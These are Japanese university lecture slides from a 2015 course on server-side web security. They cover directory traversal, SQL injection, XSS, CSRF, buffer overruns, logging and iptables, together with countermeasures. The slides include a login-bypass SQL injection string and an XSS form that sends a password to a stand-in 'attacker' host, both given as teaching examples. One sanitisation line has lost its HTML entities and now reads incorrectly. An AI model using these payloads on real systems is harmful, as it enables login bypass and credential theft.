Comments
Description
Transcript
講義スライド
情報セキュリティ
第１１回
２０１５年６月１９日（金）
1/26
今後の予定
第１１回：６月１９日：サーバサイドセキュリティ
（６月２６日は学生大会のため授業なし）
（７月２日：レポート課題・プレゼン第２段階 提出期限）
第１２回：７月３日：セキュリティ基礎
第１３回：７月１０日：暗号プロトコル
第１４回：７月１７日：組織のセキュリティ
第１５回：７月２４日：まとめ
レポート課題（若干名プレゼン），おさらい問題
試験：（実施日未定）
自筆ノート１冊のみ参照可
2
本日学ぶこと
本日の授業を通じて
インターネットにおけるサーバを安全に運用するための方法
（サーバサイドセキュリティ）について学びます．
Webアクセスを中心として，不正な入力（攻撃）とその対策を
理解します．
アクセス制御やファイアウォールの仕組みを学習し，機密性と
可用性のバランスがとれた運用方法を理解します．
3
なぜ，サーバサイドのセキュリティを考えるのか
サーバが攻撃されると…
ネットワークが機能しなくなる
サービス（顧客など，外からのアクセス）に対応できない！
LANの外にアクセスできない！
知らないうちに加害者になることも
踏み台攻撃，DDoS （Distributed Denial of Service）攻撃
報道などにより，社会的信頼が低下する
踏み台攻撃のイメージ
4
DoS攻撃（復習）
送信
受信
敵
DoS = Denial of Service
可用性を脅かす
5
DDoS攻撃（復習）
敵
敵
送信
受信
敵
敵
DDoS = Distributed Denial of Service
可用性を脅かす
敵
6
典型的なＷｅｂサーバ環境
Linux
Lucene・Solr
Windows
Linux
Apache
memcached
OS X
iOS・Android
Tomcat
PostgreSQL
【クライアント】
リクエスト
問い合わせ
レスポンス
検索結果
【Ｗｅｂサーバ】
【データベース】
HTML・XML
HTTP
CGI
SQL
数値情報
CSS
SSL/TLS
JSP
SOAP
空間情報
JavaScript
文書・画像
個人情報
7
Ｗｅｂにおけるアクセス制御・ユーザ認証の必要性
アクセス制御やユーザ認証をしていないと…
だれでもコンテンツにアクセス可能
Googlebot (crawler)などがコンテンツを取っていくかも
「リンクを張ってないから」は言い訳にならない
crawler
8
Webのユーザ認証（目的）
ユーザが適切なユーザ名とパスワードを入力すれば
アクセス可能になる．
不特定のアクセスを排除できる．
認証に必要なファイル（パスワードファイル）は/etc/passwdと
別物．Webでアクセスできないところに置く．
SSL／TLSは，計算機の認証（サーバ認証，クライアント認
証）をするが，ユーザ認証はしない．
9
Webのユーザ認証（方式）
方式
Basic認証：HTTPの認証方式の一つ．ユーザ名・パスワードは
暗号化されない．
Digest認証：HTTPの認証方式の一つ．ユーザ名・パスワード
は暗号化される．
アプリケーションによる認証：サーバサイドスクリプトなどを用い
た認証方式．ユーザ名・パスワードは暗号化されない．
SSL／TLSと組み合わせることも可能．
10
Webのアクセス制御
どこからのアクセスを許可・拒否するか
サーバ内のどの情報へのアクセスを許可・拒否するか
設定ファイル（Apache）
httpd.conf, apache.conf など
編集には一般にroot権限が必要
対象ディレクトリ
まず拒否
許可する
接続元ホスト名
許可する
接続元IPアドレス
アクセス制限の記述例
<Directory /home/*/public_html>
order deny,allow
deny from all
allow from .wakayama-u.ac.jp
allow from 192.168.0.0/255.255.255.0
</Directory>
11
サーバサイドスクリプトとセキュリティ
サーバサイドスクリプトは，リクエストに応じてHTTPサーバ
がファイルを実行・解釈し，その出力をクライアントに送る．
スクリプトファイルの中に，秘密にすべき値（パスワードなど）
を格納してはならない．
静的なアクセスでは，ファイルそのものを送る．
CGIでは，レスポンスを生成する（ようなプログラムを書く）．
PHP, eRubyなどは，HTMLの中にプログラムを埋め込む．
サーバ設定ミスにより，プログラムそのものが送られてしまう可
能性に対処
プログラムから参照するファイルは，同じディレクトリではなく，
Webアクセスで見えない場所に置く．
12
Ｗｅｂアクセスでの不正な入力
ディレクトリトラバーサル(directory traversal)
SQLインジェクション(SQL injection)
クロスサイトスクリプティング(cross site scripting, XSS)
クロスサイトリクエストフォージェリ(cross site request
forgery, CSRF)
バッファオーバーラン(buffer overrun)
13
ディレクトリトラバーサル
CGIを使って，Webアクセスで通常見ることのできないファイ
ルが見えてしまう
対策
ファイル名を指定するような入力フォームは作らない
「../」といった入力を適切に検出し，エラーとして扱う
ファイルを開く前に，開いていいファイルか，パスから判断す
る（×/etc/passwd, ○/var/www/data/file1）
14
SQLインジェクション
期待される入力とSQL文
悪意のある入力とSQL文
SELECT count(*)
FROM users
WHERE username='takehiko'
AND password='abcd';
SELECT count(*)
FROM users
WHERE username='takehiko'
AND password='1' OR 'X'='X';
DELETE文を埋め込んで，
レコードをすべて削除してしまう
かも
15
SQLインジェクションへの対策
入力中の特殊な文字をエスケープする（サニタイジング，
sanitizing）
「'」→「¥'」など
プレースホルダ(placeholder)を使用する
result = User.find_by_sql [“SELECT count(*) FROM users
where username=? AND password=?”, u, p]
Rubyの
ActiveRecordを
サニタイジングは，ライブラリルーチン（先人の
用いた例
知恵）に任せる
上のコードで
u が「takehiko」，
p が「1' OR 'X'='X」なら…
SELECT count(*)
FROM users
WHERE username='takehiko'
AND password='1¥' OR ¥'X¥'=¥'X';
16
クロスサイトスクリプティング
問題（悪意）あるURLでアクセスすると，Cookieなどブラウザ
の情報が漏洩することがある
アクセス先のホスト（Ｗｅｂサーバ）は，企業などで，悪意はない
ただし現在では，対策をしていないアプリケーションは
脆弱性があると言ってよい
URLにJavaScriptのコードが埋め込まれていることが多い
<form action="register.cgi">
<input type="hidden" name="sample" value="●●">
パスワード: <input type="text" name="name" value="password">
<input type="submit">
<form action="register.cgi">
</form>
<input type="hidden" name="sample" value="">
</form><form action="http://attacker/register.cgi">
パスワード: <input type="text" name="name" value="password">
<input type="submit">
</form>
コード例の出典：http://www.atmarkit.co.jp/ait/articles/0212/05/news002.html
17
クロスサイトスクリプティングへの対策
サーバ側
サニタイジング
「<」→「<」，「>」→「>」，「"」→「"」など
クライアント側
アクセスしようとするURLをよく確認する
HTMLメールはできれば使わない
URLエンコーディング（「%3C」など）に注意
18
クロスサイトリクエストフォージェリ
利用者が，サイトSのページにアクセスする（ログイン後に日
記に書く，ショッピングサイトで商品を購入するなど）とき
攻撃者が，サイトSにアクセスする悪意あるコンテンツ（HTMLフ
ァイル，フレーム，１ピクセル画像などを用いて）を作っておき，
利用者が，悪意あるコンテンツをWebブラウザで動かすと，
サイトSへのアクセスが発生し，利用者の意図しない操作
（「ぼくはまちちゃん」と書く，無用な商品を購入するなど）をして
しまう！
対策
利用者：不審なURLにはアクセスしない，ボタンを押さない．
サーバ（開発者）：認証に関する適切な情報（クッキー，セッショ
ンID，トークンなど）を管理し，やりとりする．
19
バッファオーバーラン
「バッファオーバーフロー(buffer overflow)」ともいう．
CやC++で，スタック上に確保した領域（配列など）の範囲外
に情報を書き込み，実行できてしまうことがある
Ｗｅｂサーバに限らず，クライアントPCなどでも起こり得る
対策：
セキュリティ上問題のないバージョンのアプリケーションを使う
CGIプログラムなどをC言語で作る場合，範囲外に書き込める
危険な関数（strcpy，sprintfなど）は使わない
20
アクセスログ
ファイル例（Apache2）
/var/log/apache2/{access,error,ssl,suexec}.log
ログの例
133.42.***.*** - - [18/Jun/2008:16:01:04 +0900] "GET /kankyou
db/rss?num=10 HTTP/1.1" 200 3753 "http://******.sys.wakayamau.ac.jp/kankyoudb/" "Mozilla/5.0 (Windows; U; Windows NT 6.0;
ja; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14"
対応
異常に長いパスでアクセスしていれば，バッファオーバーランを
疑う
1秒～数秒の間に異常な数のアクセスがあれば，DoS攻撃また
はDDoS攻撃を疑う
21
ファイアウォール
ファイアウォールとは
パケットフィルタリング(packet filtering)
組織内のコンピュータネットワークへ外部から侵入（不正アクセ
ス）されるのを防ぐシステム
パケットフィルタリング型，サーキットレベルゲートウェイ型
（SOCKなど），アプリケーションゲートウェイ型（プロキシサーバ
など）がある．
侵入検知システム(Intrusion Detection System, IDS)は「監視
カメラ」，ファイアウォールは「門番」のようなもの
送られてきたパケットを検査して，通過させるかどうか判断
パケットヘッダに含まれている情報：プロトコル，送信元・先
のIPアドレス，ポート番号など
Linuxでパケットフィルタリングをするには…iptables
22
iptables
Linuxでのパケットフィルタリングツール
どこからのアクセスを許可・拒否するか
どのインタフェースのアクセスを許可・拒否するか
どのポート番号のアクセスを許可・拒否するか
NAT (Network Address Transformation) の機能もある
OK
NG
23
iptablesの利用方法の基本
外からのアクセス(INPUT)は基本的にDROP，必要に応じて
ACCEPT
通す
lo (localhostに関するインタフェース）はACCEPT
インタフェースは ifconfig コマンドを実行すればわかる
LANなど，信頼できるネットワークからのアクセスはすべて
ACCEPTでもよい
外からのアクセスに必要最小限なポートもACCEPT
落とす
ssh (22)，http (80)，https (443), smtp (25) など
一律ACCEPTではなく，本当に必要なもののみにする！
ACCEPTのルールに当てはまらないものは，LOGをとるの
もよい
24
ブロードバンドルータはセキュリティに役立つ？
手っ取り早く，外からのアクセスを遮断できる
PCをインターネットに直結するのは，攻撃やウイルス感染のも
と！
ブロードバンドルータのLAN内でウイルスが蔓延したり，外に発
したりするかも
利用すべき機能，利用しないほうがいい機能
外からのアクセスを受け入れたいなら，「バーチャルサーバ」な
どの機能を使う
DMZ (DeMilitarized Zone)機能はなるべく使わない．使うとき
は，アクセスされることになるサーバの安全性を十分確保して
から．
25
UNIXの安全性
rootは全能の神
⇒root権限を奪われる（権限昇格）と，何でもされてしまう
セキュアＯＳ（Security-focused operating system）
既存のOSと互換性は保ちつつ，神のような強大な権限をなくす
「強制アクセス制御（Mandatory Access Control, MAC）」と
「最小特権」を持つ
26 E